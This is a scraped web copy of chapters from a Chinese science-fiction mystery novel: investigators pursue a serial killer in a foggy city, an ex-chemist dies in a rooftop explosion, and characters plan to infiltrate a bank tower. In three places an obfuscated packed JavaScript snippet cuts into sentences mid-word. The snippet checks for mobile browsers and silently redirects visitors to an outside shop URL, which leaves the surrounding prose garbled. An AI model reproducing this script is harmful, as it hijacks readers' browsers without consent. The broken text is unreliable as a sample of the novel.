“某种程度上,这种偶然也是必然。一套设备如果压力过高,那最薄弱的环节就会先崩溃。这里崩开一个螺丝,那里裂开一个口子,让内部压力达到新的平衡。这算是一种恶性的自我调整。所以我们工厂里就会设计泄压阀,和安全阀。对于人来说,泄压阀就是喝酒、骂人或是什么别的方式;而所谓的安全阀,实际上只是一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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马延仙这句话说得姜原很不好意思,只好打了个哈哈。马延仙在煤气灶上安好水壶,点着火,再去到书房里翻了一会,提出一个厚厚的大本子来,往餐桌上一甩,发出砰的一声。 “嗬!这么多!”姜原感叹道。 “那当然了。都十几年啦。” “十几年,所以你也不是一开始就喜欢这个调调咯。” “是。不是一开始就喜欢。”马延仙并未解释,只是戴上老花镜,翻开那个剪报本子,翻找了一段时间后,摘下了眼镜,把本子推到姜原面前。 那是一张三版的采访稿,照片质量也不高,再加上时间久远的缘故,姜原实在看不清易谦明的五官。采访的内容是易谦明的投资居然从不失手云云,只是一篇中规中矩的东西。 姜原有点失望地往椅背上一靠。“我还以为能找到什么好东西呢。” 马延仙微微一笑:“世界不就是这样吗。不会总像你们今天那么顺利。不过,当时到底是什么情况?小关说话总是缠来缠去听不懂。” “其实我也不太明白。当时易谦明不太相信我的说辞,其实他更有可能是不相信我们这种人。他觉得我在说谎。我后来承认,我就是为了跟圣女见面,然后他就突然答应了。” “的确有点怪。小关还说,他问了你一个问题,是怎么回事?” 姜原看着马延仙满是皱纹但精光不减的双眼,承认道:“他问我如何看待圣女草开花这件事。我当时就在卡比利亚的大圣堂跟踪。我回答——” 嘟—— 煤气灶上的水壶尖叫起来。马延仙去关了火,把开水倒进茶壶烫了一遍,然后把第一道水倒掉,重新注水,才把茶壶提到桌上。 “先这么泡一会。你继续讲。” “其实接下来也没什么了。我回答,我认为圣女能够跟活化机械连接。然后他就答应委托我们。” 马延仙搓了搓下巴。“就是说,易谦明也很在意审判的结果咯。” “大概吧。怎么了?” “嗯,说起来也只是猜测。因为大家起初都觉得易谦明能够搞价值评级,是因为他有超过复合体规定的,P级以上算力的计算机,于是要求复合体审查。但复合体审查过以后,宣布并不存在算力超标的情况。如果这次审判的结果承认仿生人能够跟活化机械连接,再加上活化机械又是大崩溃之后的产物,所以可能会动摇这方面的规定——大家可能会觉得,在自动化上,找到了一条绕过大崩溃后遗症的方法。” “那就是说,他可能也对现在这种限制算力的情况不满咯。” “当然。人力的成本还是太高了,产能也有上限。我觉得,早晚我们还是要回到以前的路子上去,不如早点面对大崩溃的真正原因才是正路。” 马延仙说完,给姜原和自己各倒了茶。 姜原慢慢吸着茶水,感觉这个猜测有道理,但很可能并不对。即便是有这么一条路,那跟他有什么关系?他们又不能影响审判的结果。这仍旧不成为易谦明同意委托他的理由。 应该是一个更直接、更单纯的原因。 姜原感觉这个问题的答案在他心里隐约映出一点模糊的影子,但伸手去捞的时候,却又把那影子搅得稀碎,捕捉不到。他稍稍有点烦躁,便把碗里的茶水一饮而尽,站起来说:“这茶叶很不错,多谢款待了。” “哪里。反正我自己也要喝的。” “不早点休息吗?” “反正睡不着,还不如看看以前的剪报。说不定能找到点有用的信息呢。” “那你可太尽责了。”姜原道了晚安,一个人下楼。 似乎是听到他的下楼的脚步声,四楼的一户人家门前,一个中年男人停下拧钥匙的手,抬起头盯着姜原。他也像所有街上的人一样,戴着宽檐帽,穿着风衣,领子竖起老高。 “晚上好。”姜原跟他打了个招呼。 那个中年人手中的钥匙哗啦一响,像是被吓了一跳。 姜原不禁莞尔。 外面的雾气似乎比回来的时候还要浓,而街上也早已不见人影。 这段时间的事情,把所有人都弄得风声鹤唳了。其实这么大的城市,只是区区几个人横死街头,根本感觉不到什么;但日以继夜的新闻报导和分析,却把这种压力复制给了每一个人。 但这么说也不对。谁也不想成为那几个横死的人。无论几率再怎么低,都是实打实的有人死亡。 话说回来,不管怎么样,这种高压的情况是不可能持续的。可能这座城市真的需要像马延仙说的,泄压阀,安全阀之类的,不然迟早会发生“恶性的自我调整”,在某个地方炸掉。 说不定易谦明愿意委托他们,也仅仅是想找个压力的出口吧。 姜原突然停下了脚步。 如果从马延仙提出的角度,即这一连串的凶案都是这个城市中压力造成的结果呢? 不。他不应该想这个。凶案让那四个人去关心就好了。他自己只需要争取找到一个可以跟易谦明对等谈判合作的…… 等等。如果易谦明答应跟他合作是因为压力,而这个压力跟活化机械有关系,那么—— 姜原回过头去。他心中隐约有了一些想法。 他想再问马延仙一个问题。 而那栋五层旧楼的楼顶,有一个小小的红点,一亮一暗,一明一灭。 是马延仙在吸烟吗? 他怎么跑到楼顶上面去吸烟了? 姜原眯起眼睛。 但在暗夜的雾气中,很难分辨那到底是不是吸烟的火光。 74.雾气弥漫的城市14 “所以,你返回的时候,看到那个老头在屋顶吸烟?”坐在前面的调查员再一次问道。 “我虽然后来看到马延仙在屋顶吸烟,但当时我看到的只是‘微弱的红光’,因为我不确定那点红光是不是烟头,我认为烟头不见得能亮到穿透昨晚的雾气。我只是在试图告诉你,我看到的景象,以及我当时的感受,请你不要把这些与事实混为一谈。好吗?” 另一个调查员早已耐不住性子,双手砰地一声拍在桌子上。“那你为什么要扯这些有的没的?你是想扰乱调查是吧?” “你们一直这样瞎理解别人的话,恐怕配不上叫‘调查’吧。” “你老实交代,为什么要杀人?” “我没有杀人。我们刚接到易谦明的委托,让我们调查这件你们‘调查’了一个多月都没有结果的案子,然后就在接到委托的当天夜里,我们的人就被炸死了。我看,反而是你们更有动机杀人吧,为了掩盖你们尸位素餐的无能,说不定,还有勾结歹徒的恶行呢。” “你!” “……算了算了。最后一个问题,你在屋顶上到底看到了什么?” 姜原慢悠悠地爬上五层楼后,却见马延仙家门虚掩着。他拉开门,向里面看了一眼,感觉的确不像是有人的样子。然后他看到门外的靠墙一侧就是通往楼顶的通道开口,开口下面竖着一把梯子,折叠梯的挂钩正卡在天花板的圆环上,原来的挂锁也被人打开了。 姜原双手按上扶梯,右脚踏上去试了试稳不稳。 此时他却隐约听到屋顶上有人在说话。他一瞬间有种不太妙的预感。但他手里空空,并没有任何武器。他能做的只是尽量不发出声音,慢慢爬上扶梯。然后楼顶上人们的说话声就听得更清楚了。 “你说的都没错。看你的年纪,你是当年受害者的家属吗?你是来找我报仇的吗?”马延仙的话声有些犹豫不定。 “不是。请你千万不要这么以为。”那个人的声音倒是非常冷静。 “那你为什么要找我聊这件事?你这是要给我定罪,审判我?” “也不是。我还不至于那么自以为是。我只是为了大局着想,以人类共同的名义行事。我只是请你给其它人一个机会罢了。” 马延仙笑了。“你这样就不算自以为是了吗?” “不算。这依旧属于自然的进程。” 姜原想看看那个人到底是谁。但他在钻过通往楼顶窗口的时候,怀里的那个文档盒在挡板上撞了一下,发出咚的一声。 楼顶上的两个人同时向他望来。 “你回来干什么?”马延仙丢下手中的烟头,惊呼道。 另一个人同样惊讶的望着他。就是刚才姜原下楼时看到的那个人。风衣,宽檐帽,一张没有什么特征,平平无奇的脸。 那人转过身,向另一个方向跑去。 姜原继续向上爬。 “你快进去!”马延仙喊着,背过身子。 然后就是震耳欲聋的响声和爆炸的气浪。 姜原掉了下去,一头撞在墙上,满脸都是鲜血,挣扎了半天都爬不起来。好在对方使用的并不是破片炸弹,而马延仙的身体也起到了一定的阻挡冲击波的作用。 “那个人是什么样子?”调查员问。 “没有什么特征。就是很中规中矩的长相。如果在路上看到完全不会记得那种。感觉应该是偏瘦。中年人。平头,眉毛有点浓。” 另一个调查员拿起纸笔,两三笔勾出一个人像。“这样?” “颧骨再平一点,下颌再宽一点。” “这样?” “眼睛可能要再靠下一点。眼角也是。有点深沉、忧郁的感觉。” “这样?” “差不多吧。你们能比对出结果吗?” 两个调查员对视了一眼,答道:“只靠这么粗糙的画像,比对出的结果可能有成千上万个。” “好吧,那你们能不能也给我一张?” 姜原又被问了好一阵才放出来。 证据方面,调查员们也延续了他们一贯的无能,在现场一无所获。他们把注意力都放在姜原身上,他是铸造局能找到的少数几个目击者之一,而且是唯一一个看到了对方面部特征的。 但这点信息也没什么用处。指望靠一张脸在如此大的城市中找到凶手,只是大海捞针。也正因此,调查员们例行公事的心态能让人一眼就看出来。 姜原出来之后,看到关、白、胡正在外面等他。 他们心中的悲伤和痛苦经过大半天的沉淀,脸上留下的只有疲惫的痕迹。 姜原拍了拍关铁震的肩膀。“我们一起再去那里看看吧。”他说。 因为爆炸点在楼顶,铸造局的人就只检查了煤气泄露的可能性,随后就撤退了,没有管其它的东西。他们在屋内可以看到,房间里的家具和物品都被爆炸震倒,墙灰更是洒满了整间屋子。外墙、防水层、保暖层以及部分砌体都被爆炸掀开了一大块,有一处墙壁已经塌掉了一个洞,外面的风就从那里吹了进来。 “他为什么会跑到屋顶上去?”关铁震看着那个窟窿问道。 “他还总嫌码头风大,说不能久呆呢。”白少俊说。 没人知道问题的答案。 “昨晚你们到底在这里聊什么?”郑小楼问。她的眼圈红红的。 “就是聊了一会易谦明的事情。他给我看了他的剪报,然后我们喝了杯茶。全程只是闲聊。没什么特别的——” ——如果没有泄压阀和安全阀,那个恶性的自我调整会把整个系统都弄完蛋。 ——没有自相矛盾。后来我爆炸了。 ——字面意义的爆炸。 这也算是一语成谶。 但“字面意义的爆炸”就是这样吗? 姜原记得马延仙在火车上“露一手”时耍的那个把戏。他能把喷出的烟雾点燃爆炸,可见其对于化学还是很熟悉的。如果,马延仙真的准备了炸药,然后才故意把对方引到楼顶上呢? 他记得马延仙问过那个人,“是不是来寻仇的”。但马延仙给他的印象,并不像是会跟敌人一起自杀式爆炸的老头。 “你找到什么线索了吗?”关铁震小声问。 ——我又不是专业的侦探,我怎么知道? 姜原没有把这句话说出口。但他也的确完全看不出个所以然来。 不,他自己也知道,他并不应该去模仿侦探。他应该只寻找他需要的东西。他并不应该去做追踪脚印、寻找指纹这种粗活,而是应该把注意力集中在这些事件之间的内在联系上。 勘察凶案捉住犯人跟他没有关系。 他是为了在案件中取得对抗易谦明的优势。 姜原的目光重新扫过房间里的东西。沙发、电视、鞋柜、餐桌、吊灯、茶壶、煤气灶……剪报簿。 姜原弯下腰,把那个厚厚的大本子捡了起来。其中有几页已经被爆炸时的气浪掀掉了,如今已被掩埋在灰土与瓦砾中。 ——字面意义的爆炸。 ——嗬!这么多!也当然啦,都十多年了。 姜原注视着面前的剪报簿。这个本子就是马延仙在离职后的兴趣。他向前翻去,一直翻到第一页。 《海金化学工厂发生爆炸,目前十五死三十伤》 《海金化工厂爆炸伤亡人数继续上升,原因调查未果》 《化工厂爆炸案调查结果公布:操作员误操作》 《海金化学宣布赔付伤亡人员遗属、家属》 …… 最初的几十份剪报收集,都是关于这一件爆炸事件的。 “你们知道马老爷子之前上班的化工厂叫什么吗?”姜原问。 那三个人都表示不知道。“马老爷子不是很爱说他自己从前的事情。”然后关铁震又补了一句:“你找到线索了?” “我也不知道能不能算是线索。可能只是我发疯的幻想而已。”姜原把自己跟马延仙昨晚的对话,还有他的思路大致讲了一下。 当年马延仙因为跟同事积累了大量矛盾,然后蓄意制造了这一起爆炸案,并且掩盖了痕迹,这么多年来一直都没有被发现。但也因为他害怕被捕而对案情过度关注,促成了马延仙收集剪报的习惯。他开始习惯于关注并收集新闻,让他的压力随着这些新闻一起,“埋藏”起来。 当然,这只是姜原自己的猜测。 十几年前的事情,要找证据当然已经找不到了。但只要想起昨晚马延仙说话的语气和神态,姜原就相信自己绝对没有想错。 字面意义的爆炸——是马延仙自己对自己的总结。 姜原说完,把剪报簿给他们看。“你们有没有听过马延仙聊这类话题?” 关、白、胡三人面面相觑,然后都陷入了思考。关铁震在屋里不断踱步,白少俊靠在墙上低着头考虑,郑小楼抱着剪报簿反复翻阅。 最终,关铁震先停下了步子。“小兄弟,不是我不信你啊。但这事实在……我的脑子不太好用,我也知道。所以我是真想不通,你明明才跟我们认识不久,老马居然唯独要跟你说——” “他跟我说过一次。”郑小楼插话道。“但他没说爆炸。我也没有细问。具体细节我记不清了,但他肯定说过压力啊、安全阀之类的事情。我刚才就觉得很耳熟。我感觉他的话不完全是编的。但要说……” 白少俊哼了一声。“个把人都不敢杀,还算什么恶人,回家吃奶算了。老马当年干过这种事,不奇怪。谁都有第一次的时候。” “这回你反而支持他了?”关铁震问。 “不然呢?我不像你们有什么道德印象包袱。但如果,后面我发现这个汤什么的骗我——”白少俊凑上前来,盯着姜原的眼睛,“我会毫不犹豫杀了你。” “随你便。”姜原道。 他现在才无意于去追究当年的情况。 他对这案件的想象正在疯狂地生长。 因为当时的爆炸跟现在的爆炸,二者之间可能并不是巧合。无论是对方为了当年的事件,用同样的方式杀死了他;还是马延仙自己因为长期的内疚,用同样的方式杀死了自己;又或者是——对方的目的仅仅是利用马延仙的过去,把他引诱到房顶上,以便自己逃离。 那人当时就是直接从房顶上跑掉了。 但到底是谁设下爆炸并不重要。重要的是这一连串案件中,之前缺失的一块拼图。这就是凶手把猎杀的目标引到预定的地点所使用的方法。 而马延仙最后的对话给出了答案。 每个人都有自己的秘密。 而你的秘密如今却握在别人手中,在浓雾中一闪一闪引诱着你,引导你走向那个你平时不会去的地方,走进别人给你设下的陷阱。 姜原用力摇了摇脑袋。他感觉自己已经是在胡思乱想,甚至是在瞎猜了。 这世界上不存在这种,能够随随便便知道街上任何一个人的秘密,还能够能够用这些秘密要挟别人的人或…… 不。似乎是有的。 ——我什么都知道。 ——易先生什么都知道。 那就是易谦明和他的人才贸易银行。 但易谦明没有动机。这些凶案对于人才贸易帝国来说,有害无益。让人们觉得价值评级降低就等于死亡,真的有什么好处吗?人们不会真的去削尖了脑袋往上爬,人们只会躺下来完全放弃,去赌今天死的不是自己。 而且还有不止四分之三的人没有加入到评级中来。这一个月里,价值评级的上市用户肯定是停止增长的。 那么这个凶手是想妨碍银行的业务吗?但他同时又能接触到易谦明收集的信息…… ——我只是为了大局着想,以人类共同的名义行事。我只是请你给其它人一个机会罢了。 那是犯人在房顶上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262932|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说过的话。 “我们得再去找一趟易谦明。”姜原突然说。 “什么情况?你觉得他认识凶手?”关铁震问。 “我不知道。但很明显有一些问题是他应该知道的。首先,这些受害者是怎么挑选出来的?马延仙也说过,这个城市这么大,人口这么多,难道真的就是完全随机吗?其次,凶手到底是什么目的,如果他是为了制造恐慌,而现在恐慌已经造成,那他是不是应该提出进一步的要求了?最后,也是最重要的一点,就算凶手能利用易谦明手里的信息,但易谦明到底是怎么收集到大家的信息的?” 姜原像机关枪一样抛出一连串的问题,最后又补了一句话:“当然,还有一种可能就是,其实并没有什么连环杀人,只是我们在捕风捉影罢了。” “你现在还说这种话?”关铁震道。“现在说这种话没有意义。这件事不管怎么样,都必须有个交代。” “这已经是私人恩怨了。”白少俊说。 “好吧。那我们去找易谦明。”姜原说。 姜原当然不只是去找易谦明问这些问题。如果事情顺利,他或许能有一个单独与易谦明谈条件的机会。距离审判还有两天多,他需要争取在这段时间内弄清弗莱留给周向青什么信息,以及跟易谦明借用他的机房来破解自己的文档。 他的确需要很大的谈判优势才行。 但阿福恭恭敬敬地拒绝了姜原的拜访。“十分抱歉,我已经传达过您的意思了。但易先生现在,不方便会客。如果你们调查到什么结果,或者有什么问题,都可以告诉我,我会代为转达。” 姜原他们等待了半小时,结果却是这样一个坏消息。 “但我们还是希望跟他当面谈谈。”姜原说。 “抱歉,但易先生正在接待一位贵宾。现在是真的不太方便。” “那能不能比对一下这张图?这是铸造局关于凶手的画像。”郑小楼说着,拉了拉姜原的手肘。姜原只好把那张简单的速写交了出来。“如果能通过银行的数据库比对一下,可能会更快得到结果。我们都觉得这个人可能与价值评级有很深的关系。” “虽然我也想帮这个忙,但我们银行的数据库不包括生物信息。我们仅仅统计工作绩效,不会收集用户的私密信息。”阿福再次拒绝。 “既然如此,那我们就一直等吧。”关铁震道。 “实在对不起。易先生不喜欢人多,所以这里只有我们两个。而易先生还吩咐了我其它的事情。所以恐怕很长时间都没人可以招待您几位,这样不仅是对各位怠慢,我想,易先生心里也一定过意不去。” “没关系。我们又不是什么贵客,什么地方不能待。我们就在这里等好了。”关铁震坚持道。 阿福叹了口气。“虽然我不应该透露,但为您着想,我还是稍微违反一下规矩吧。易先生正在跟董事会的客人谈公事,会谈很久。而且他可能还要赴宴,恐怕今天一整天都不方便。” “好吧。我明白了。”姜原说道。“那我就把想问易先生的问题问你好了。你看怎么样?” “如果我知道,一定回答。” “好。你们到底是怎么收集那些价值评级的信息的?我知道这肯定是你们公司内部的机密,但这些案子肯定跟这个信息渠道有所关联。所以我还是希望你多少透露一点。” “我们只搜集一切公开的信息。”阿福答道。 “但恐怕,只是公开的信息,并不能让人屈服吧。在我们接触到的几个案子中,受害者都没有反抗。我们第一次来的时候,手里也只有公开的信息,而易先生也没有丝毫的退让。” 阿福的脸色沉了下来。“这位先生,在我看来,您现在是在暗示一些莫须有的事情。我还是请您仅做你该做的调查,不要太过分。易先生可以授权你们调查,但也可以取消这个授权。” 关铁震他们三人脸上微微变色。而姜原冷笑了一下,向后靠在沙发背上。“那我能去跟圣女见个面吗?” “她也不在。她一早就出去了。”阿福答道。 “那我自己去她的房间等她可以吗?” “如果她回来的话,我会马上联系你们的工作室。我有你们的电话。”阿福像是忘记了刚才的不快,微笑着说道。 姜原完全不相信那个管家说的话。只收集公开的信息?怎么可能! 但阿福如此坚定的拒绝,他们也只得从银行里出来,另做打算。 “怎么办?”郑小楼问。 “只能另找办法了。”姜原答道。易谦明如果真的对这件事漠不关心的话,那么就只有两种可能——要么易谦明非常确信并不存在这么一个连环案件,认为银行声誉可以承受舆情的破坏;要么易谦明是出于自己的利益关系,有意选择了不作为的方式。 但不论是哪一种情况,都是易谦明对此事有明确的自我判断。而无论哪一种判断,都不需要他。 “如果他这么不重视我们的发现,或许我们应该把他的委托理解为‘封口’了,不是么?”郑小楼似乎也在思考同样的事情。 “但我们也的确没有任何证据。我觉得我们应该再多收集一些情况,比如看看之前案件的口供,看看有没有人说看到了类似的人;顺便等等看人像的比对结果。”关铁震说。 “妈的。我看这个家伙就是有问题。”白少俊狠狠地踢了一脚旁边的石墩。 “我觉得关老大的判断没错,”姜原道,“你们去铸造局查一查吧。” “那你呢?”关铁震问。 “我回去等他的电话。他不是说,如果圣女回来了,会打给工作室吗?” 关铁震盯着姜原看了一会,说:“好吧。你的确跟老马没什么交情,我也不勉强你。你去吧。” 姜原点点头,离开了。 但他并不打算回工作室。 他不能在这种无聊的事情上浪费太多时间。 75.雾气弥漫的城市15 有视线潜伏在黑影里。 黑影慢慢地从门缝下渗进来,像一团黑色的帘幕笼罩上她的身体。 然后视线变得无处不在。那帘幕中的星星点点都是一只只眼睛。 那看上去像是夜空。但它不是夜空。 这里的夜空并不是这个样子,并不是幽邃中闪烁着灿烂的星河。 这里的夜空有的只有泛着红黄色灯光的雾气,阻挡她看到真正的夜空。而那视线就偷偷地从浓雾中伸向她,嗡嗡地沿着她的脊背上下滑动,寻求一块方便刺入的柔软皮肤。 就在那根细细的口器缓缓刺入她的肩膀时,她终于感受到了那些视线。那些无处不在的视线。在她的背后,在她的头发里,在她的衣衫皱褶中,甚至就在她的身体内部。 它们无处不在。 但最令人不快的仍旧是潜伏在黑暗中的那两道目光。就是从门缝中溜进来,从正上方笼罩着她,注视着她。似乎要从她的脑中挖出连她自己都不清楚的秘密。 挖吧。我倒是需要这样。 她不自觉地说。 我需要你挖出我的秘密。 在那跟细细的口器连接到她的神经时,她那紧闭的眼睛却像是顺着体内的神经线一路游去,反溯回对方的后脑,冲破了对方设置的障壁。 她看到了。她看到了那雾气上方的夜空。 黑色锦缎上粼粼细碎的微光,以及正中一轮清澈的弧。 ### 周向青从梦中醒来。 奇怪。这是她头一次记得昨晚的梦境。清清楚楚,明明白白。清楚得让她觉得那不是梦境而是事实。她在房间里找了一会,但没有找到昨晚梦中的那个东西。那大概就是易谦明所谓的蚊子。 她穿好衣服,把一根能量棒塞进口中,然后拉开了窗帘。窗户上映出的景象是一个灿烂的艳阳天。但她知道,外面不可能是这个样子。这里的浓雾似乎永远都不会散去,犹如每个人心头的那一块阴霾。 曹文道也同样板着脸。 他从自己旁边拎起一个沉甸甸的公文包,重重地丢在本就资料堆积如山的办公桌上。“你要的东西我拿到了。一直拖到昨晚11点我才回到家。” “多谢。”周向青说。 “多谢?你知道这座城市中,昨天又有四个人非正常死亡吗?有一个人似乎还是个老人。我这是冒着生命危险好吧。”他的桌上放着今天的报纸,头版写着:《价值评级再开杀戒,四人命丧毒手》。 “还是那个连环杀人案?”周向青问。 “连环杀人案。哼。才没有什么‘连环’杀人案!上次我不是跟你说过了吗?只是媒体在炒作而已。现在这帮废物,居然到现在还什么都查不出来。如果是当年的我——”曹文道突然闭上了嘴,把公文包打开,抽出一个大厚本子递了过来。“这是我让他们打印的图纸。施工蓝图都已经封存了,这是跟据电子文档打印的,可能有一些修改没加上去,但我觉得也应该差不多够了。” “谢谢。”周向青接了过来,直接往后翻到50层以上的部分。那栋楼真的没有必要盖那么高,所有她觉得,重要的东西应该就在高处。 “你是在找什么?”曹文道问。 “我也不知道我要找的到底是什么。那天我看到银行大楼上半部的窗全都像叶片一样张开,然后雾气唰地一下都被吸了进去,然后又从另一个方向吐了出来。我想知道那到底是怎么回事。” “啊。那个好像的确挺多人都看到过。那个不是易老板搞的什么呼吸系统吗?像是空调一样的东西。大概是换热用的吧。”曹文道颇有把握地说。 周向青不理他,只是专注于图纸上的信息。 50层以上房间的实际面积要比整层楼要小得多。房间都聚集在围绕电梯井的区域,与大楼外墙之间的空隙竟然比一半还多。他们不是为了盖这些房间而设计了这么高的楼层,他们是需要盖这么高的楼层而不得不设计这些房间。 而设备安装图上显示,大楼的确安装了数目庞大的换热器,这些换热器通过管道联通起来,安装在中空的区域内。只不过,这些“换热器”的管道并没有明确通往大楼中的某个楼层——甚至不联通任意一个楼层。 周向青来来回回找了好几遍,始终找不到这些换热器到底是通往哪一个楼层。而且这批图纸目录编号齐全,没有任何缺页。 似乎唯独对应这一部分内容的图纸就不曾存在过。 但这是不可能的。否则如此大的工程,目的又在哪里?唯一的解释是,这一部分工程是在初次施工后,单独进行改装,也就因此没有出现在施工图上。 而这个消失的楼层,也必然就是秘密房间所在的位置。 周向青盯着那张风道设计的剖面图。 空气从外部的叶片窗口进来,然后流过这些“换热片”,风机将热风鼓入竖井,从顶部的排风口通入空中。 简直就像是鱼鳃与鲸鱼头顶呼吸孔的结合体。 这种塔式散热的设计并不少见,但这么一栋楼根本用不到这样多、这样大的换热器。另外,它似乎并不是一直开着,而是间歇性的。 她想起易谦明当时说过的一句话。 ——它不是中央空调,却比中央空调的换气效率要高得多。 听易谦明的意思,似乎“换气效率”才是这个系统的重点。换气效率。难不成,真的是在空气中呼吸什么吗? 但不管怎么说,这个楼层如果真的存在,那么一定就是在整个呼吸系统效率最高的位置。她还是要自己去看了才能知道。 周向青合上大本子,递还给曹文道。 “怎么,找到要找的东西了?”曹文道装作漫不经心地问。 “嗯。”周向青不置可否。 “如果你发现他有什么违法行为,直接告诉我。我可以帮你报告上去。”曹文道说。 “好的。”周向青随口答应,离开了曹文道的办公室。 易谦明给她的感觉虽然不能说好,但是也并不算差。她只是想挖出易谦明的秘密,又不是想告密。 这两者之间还是有很大区别的。 何况她对这个要审判她的组织没有一点好感。 距离审判只有两天半。 她决定今晚就去看看易谦明的大楼里到底藏着什么。 在周向青哒哒的脚步声经过铸造局熔炼科走廊的时候,一个人正在其中一个办公室里吼叫:“……三天?三天才能出人像的比对结果?” “对,而且并不保真,因为那不是照片而只是素描。只能当作参考而不能作为证据。”郑小楼说。 “得,那还不是白费功夫。”白少俊抱怨道。 “那你有什么高见吗?”关铁震问。 “没有。我只是觉得,我们好像在被汤玉茗那个家伙带着,一直在兜圈子。他好像是给了我们不错的建议,但是仔细一想,根本没有过硬的证据不是吗?” 关铁震笑道:“我还以为你之前转了性子呢。” “没有。我当时只是觉得,老马他的确不是一个善人——虽然这么说有点对不起他,但之前跟他一起的任务,还有他处理王西凤的态度,就是让我这么觉得。所以,就那一瞬间,汤玉茗口中的老马,跟我想象中的老马重合了。但那股劲过去之后,我又觉得,虽然我承认汤玉茗挺有想法,但我还是不认为他会为我们的事着想。”白少俊道。 “这我也知道。我又不是白痴。”关铁震回答。“但他的思路跟我们都不一样,这就是他的价值。他至少让我们跟人贸银行合作了,不是么?单这一点就不是我们几个能做到的。而且,他也不是胡说八道。你们看这里。”关铁震指着其中的一段供词笔录念道:“‘当时我正起床上厕所,听到奇怪的声音时,我拉开窗帘向外看,然后看到街上站着一个穿着风衣,戴着帽子的人。他在看到我后,马上转身离开了。我不记得他的具体长相,没有特别明显的特征。’这是现场附近居民的证词。” “听起来像那么回事哦!”郑小楼道。 “但也只是像那么回事而已。”白少俊说。“而且那家伙现在还不知道是不是偷偷去了什么地方。” ### 此时的姜原的确正在城市的另一个角落。 他发现在这两年多里,学院整备站居然有了是天翻地覆的变化。他上次来的时候,这里还是一个类似地下黑市的地方,但现在居然变成了超市,不仅挂着巨大的招牌,还多了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269158|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很多五金工具之类的平常商品。如果不是柜台后的女人没有换,姜原简直都不敢进去了。 “王姐,你发达了呀。”姜原问候道。 “对啊。”柜台后的中年妇女叉着手回答。一点都不客气。 “你改这么大的店面,有那么多客户吗?” “有啊。” “哪里来的?” “外面来啊。” “啊?” “你是真的不知道吗?现在我们向持有证件,而且价值评级在A级以上的非学院客户开放了。” “那倒是……没有听说。” “没听说也正常。也是最近半年多的事情。而且也不是那么简单。现在我们能经营出售的商品需要通过‘可控自动化’的认证——换句话说,很多精细玩意都不允许出售了。虽然客流量提升了,但营业额是没怎么涨。”老板娘说完,又小声补了一句:“我还是喜欢以前那种经营方式。” “那可不。杂客没钱,还累人。”姜原附和道。 “没错。所以这么久不见,想要点什么?” “我之前用的那种XIV-23背挂型百花手,还有备用的吗?”姜原问。虽然他这么问,但实际上乐意用那类机械爪的人不多,货也并不好卖。 “没了。”老板娘答道。 “没了?”姜原一愣。 “没了。没通过可控自动化的认证。然后都处理了。” “但那也不是自动化的啊。” “的确不是,但铸造局有一套标准,PX还是什么的,反正就是没通过。不过说是处理,也只是拆成组件了,除了生物芯片,维修还是可以维修的。” “但我的那一套全都沉在河底了。” “那就不行咯。”老板娘眼珠转了转,又说:“如果你不嫌弃的话,我这里倒是还有一套百花手的原型机,六年前在汉州出土的。不智能,但接口可以用现有的废件给你免费改一改。” “你是把我当收旧货的了。”姜原苦笑。 “但像你这样的客人着实不多啊。百花手这个系列本来用户就不多,学习成本高不说,一味追逐普遍适用,性价比不如自制武器,负担还高是个事倍功半的东西。话说,你当时干嘛要玩这个?” “这个嘛……说实在的,我早忘了。可能就是我小时候觉得这样很帅吧。” 姜原跟老板娘寒暄了一番,又去挑自己今晚要用的东西。他买不到机械爪,那么要摸进那栋大楼,就需要不少小东西了。比如用以攀援大楼外墙的吸盘,索降用的钢缆盘,或者滑翔用的鼯鼠翼,防备红外检测的感光粉,逃跑用的闪光弹,应对保安的麻醉针……以及人才贸易银行的内部地图。 为给行动提供方便,学院的整备点的终端机上都会收集本地的类似信息。这栋一百层的贸易银行作为本地的地标建筑,自然也不应例外。只不过姜原在终端上打开地图之后,却发现50层以上的部分全部缺失了,上面都印上了“绝密”两个字的戳记。 “这是什么情况?”姜原喃喃自语。他还从来没遇到过这种情况。 “哦,因为整备站开放的缘故,很多这种私人空间的资料都不像外界公布了。他们正在拟定一份名单并界定许可权限,到时候只有对应权限的人才能查阅。”店老板在老板娘回归原位后,又返回工作间开始整修工具和回收品了。他听到姜原说的话后,便自行回答了两句。 “那任务呢?要做任务的人该怎么办?” “哦,米卡这边的任务都已经暂停了。” “真的假的,暂停了?学院可从来没干过这种事。就连之前华陵遗址一连死了两百多个学生的那次,都没停过任务。”姜原惊道。 店老板想了想,说:“好像是。但这次是上面的决定。还下通知了。” 姜原有点讶异。学院居然在这段时间里悄没生息地搞了这么多事情。虽然他并不算是什么人物,人家要干什么也当然不需要让他知道;但一点传闻都没有,天,说明有人在控制消息。 联系最近他在卡比利亚遇到的情况——大概这一连串的动作都跟学院的计划相关。 这绝对不是什么好兆头。 他必须得快一点了。姜原想。 76.雾气弥漫的城市16 周向青在自己的房间里,看着胖球在笼子里面摆弄自己给它的一片纸巾,安安静静地等着时间一分一秒过去。 